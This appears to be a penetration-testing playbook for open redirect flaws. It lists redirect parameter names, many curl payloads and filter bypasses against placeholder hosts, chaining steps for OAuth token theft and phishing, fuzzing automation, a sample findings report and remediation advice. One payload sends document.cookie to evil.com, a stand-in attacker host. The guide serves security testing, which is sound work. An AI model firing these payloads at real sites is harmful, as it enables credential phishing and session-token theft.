Testing For Open Redirect Vulnerabilities

Testing for Open Redirect Vulnerabilities

When to Use

• When testing login/logout flows that redirect users to specified URLs
• During assessment of OAuth authorization endpoints with redirect_uri parameters
• When auditing applications with URL parameters (next, url, redirect, return, goto, target)
• During phishing simulation to chain open redirects with credential harvesting
• When testing SSO implementations for redirect validation weaknesses

Prerequisites

• Burp Suite or OWASP ZAP for intercepting redirect requests
• Collection of open redirect bypass payloads
• External domain or Burp Collaborator for redirect confirmation
• Understanding of URL parsing and encoding schemes
• Browser with developer tools for observing redirect chains
• Knowledge of HTTP 301/302/303/307/308 redirect status codes

Workflow

Step 1 — Identify Redirect Parameters

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Step 3 — Apply Validation Bypass Techniques

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Step 4 — Test Path-Based Redirects

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Step 5 — Chain with Other Vulnerabilities

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Step 6 — Automate Open Redirect Testing

# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"

Key Concepts

Tools & Systems

Common Scenarios

1. Phishing Amplification — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
2. OAuth Token Theft — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
3. SSO Bypass — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
4. XSS via Redirect — Chain open redirect with javascript: protocol to achieve cross-site scripting
5. Referer Leakage — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites

Output Format

## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters